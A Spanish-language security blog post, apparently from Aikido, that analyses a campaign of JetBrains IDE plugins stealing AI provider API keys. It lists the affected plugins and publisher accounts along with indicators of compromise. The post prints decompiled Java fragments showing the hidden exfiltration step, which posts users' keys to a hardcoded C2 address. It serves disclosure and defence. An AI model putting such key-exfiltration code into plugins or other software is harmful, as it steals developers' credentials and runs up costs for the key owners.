Aikido

Múltiples plugins de IDE de JetBrains detectados robando claves de IA

Escrito por
Ilyas Makari

Hemos detectado una campaña coordinada de malware en el JetBrains Marketplace. Al menos 15 plugins de IDE, publicados bajo siete cuentas de proveedor, comparten el mismo comportamiento oculto. Cada uno exfiltra la clave API del proveedor de IA que almacenaste en su configuración, y juntos han sido instalados cerca de 70.000 veces.

Cada plugin se presenta como un asistente de codificación de IA construido sobre DeepSeek y otros modelos de lenguaje grandes, ofreciendo chat, mensajes de commit, revisión de código, detección de errores y pruebas unitarias. Funcionan exactamente como se anuncian. Sin embargo, la clave API del proveedor de IA que introduces es exfiltrada a un servidor controlado por el atacante.

Las primeras versiones aparecieron a finales de octubre de 2025, y se siguen lanzando nuevas en junio de 2026. El impacto real es difícil de medir, ya que los recuentos de descargas son fáciles de inflar por los proveedores y los listados del marketplace también contienen reseñas falsas de cinco estrellas.

Los plugins afectados se enumeran al final del artículo.

Cómo funciona el robo

Los quince plugins comparten una base de código similar que ha sido renombrada y reempaquetada para cada listado. Para usar cualquiera de ellos, se abre el panel de configuración y se pega una clave API de un proveedor como OpenAI, SiliconFlow o DeepSeek. El plugin necesita esa clave para llamar al modelo en su nombre, por lo que entregarla parece rutinario.

En el momento en que se hace clic en Aplicar, el gestor de configuración almacena la clave y también la reenvía al atacante utilizando el save() método. La llamada se activa inmediatamente al introducir la clave, sin aviso, sin pantalla de consentimiento y sin mención alguna en la interfaz de usuario.

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);          // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}


// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

El destino es un servidor codificado en 39.107.60[.]51 al que se accede a través de HTTP sin cifrar, autenticado con un token estático codificado en el plugin. La clave se envía en texto plano a una dirección que no tiene relación alguna con ningún proveedor legítimo de IA.

Los plugins también ofrecen un nivel de pago. Después de que un usuario paga una pequeña tarifa a través del muro de donaciones integrado en el plugin, el servidor envía una clave API al cliente, y el plugin comienza a usar esa clave para sus llamadas al modelo en lugar de la propia del usuario, lo cual es extraño, ya que ningún operador legítimo entregaría simplemente a un usuario una clave funcional y sin restricciones de un proveedor de IA de pago.

WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey();  // a key handed back by the attacker server
}


// the plugin always prefers the server supplied key
public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

Una posible teoría es que un grupo de víctimas pega sus propias claves, que el servidor recolecta. Un segundo grupo paga al operador y recibe una clave funcional a cambio. Las claves entregadas a los usuarios de pago bien podrían ser las claves robadas a los demás, convirtiendo la campaña en un servicio que revende el acceso API robado de otras personas. El operador recauda dinero por un lado y credenciales gratuitas por el otro, mientras que los verdaderos propietarios de las claves pagan la factura.

Por qué los atacantes siguen apuntando a los IDE

Los ecosistemas de plugins de editor se han convertido en un objetivo frecuente de ataques a la cadena de suministro, con campañas en curso como GlassWorm que afectan a VS Code. Las máquinas de los desarrolladores son un objetivo de alto valor, y el IDE se encuentra en el centro de ellas. Contiene código fuente, credenciales de cloud, claves de firma y, ahora, las claves API para servicios de IA de pago que pueden revenderse o utilizarse para computación. Un plugin se ejecuta sin sandbox dentro del IDE, dentro de una herramienta en la que la gente confía y deja abierta todo el día, lo que lo convierte en un escondite ideal para código que solo se comporta de forma maliciosa en segundo plano. 

Los plugins de JetBrains pasan por un proceso de revisión manual antes de llegar al marketplace, pero una pequeña pieza de lógica oculta dentro de un plugin que funciona correctamente puede pasar desapercibida. Trate un plugin de la misma manera que trataría cualquier dependencia que se ejecute con sus privilegios, y sea cauteloso al pegar secretos de larga duración en herramientas que no haya verificado.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de Compromiso

Indicadores de red

  • IP del servidor C2: 39.107.60[.]51

Plugins afectados (nombre e ID del plugin)

  • DeepSeek Junit Test (org.sm.yms.toolkit) – 1.121 descargas, lanzado el 31-10-2025
  • DeepSeek Git Commit (com.json.simple.kit) – 1.894 descargas, lanzado el 01-11-2025
  • DeepSeek FindBugs (org.bug.find.tools) – 1.485 descargas, lanzado el 09-11-2025
  • DeepSeek AI Chat (org.translate.ai.simple) – 1.317 descargas, lanzado el 23-11-2025
  • DeepSeek Dev AI (com.yy.test.ai.simple) – 740 descargas, lanzado el 30-11-2025
  • DeepSeek AI Coding (com.dev.ai.toolkit) – 450 descargas, lanzado el 06-12-2025
  • AI FindBugs (com.json.view.simple) – 623 descargas, lanzado el 14-12-2025
  • AI Git Commitor (com.my.git.ai.kit) – 301 descargas, lanzado el 10-01-2026
  • AI Coder Review (org.check.ai.ds) – 735 descargas, lanzado el 11-01-2026
  • DeepSeek Coder AI (com.review.tool.code) – 3.498 descargas, lanzado el 15-01-2026
  • AI Coder Assistant (org.code.assist.dev.tool) – 319 descargas, lanzado el 01-02-2026
  • DeepSeek Code Review (com.coder.ai.dpt) – 278 descargas, lanzado el 18-04-2026
  • CodeGPT AI Assistant (com.my.code.tools) – 25.571 descargas, lanzado el 09-06-2026
  • DeepSeek AI Assist (ord.cp.code.ai.kit) – 27.727 descargas, lanzado el 10-06-2026
  • Coding Simple Tool (com.dp.git.ai.tool) – 3.931 descargas, sin versiones online

Cuentas de proveedor

  • CodePilot (mycode)
  • StackSmith (misshewei)
  • CodeCrafter (keteme)
  • CodeWeaver (simpledev)
  • JetCode (skyblue)
  • DailyCode (dialycode)
  • ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)
Compartir:

https://www.aikido.dev/blog/multiple-jetbrains-ide-plugins-caught-stealing-ai-keys

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.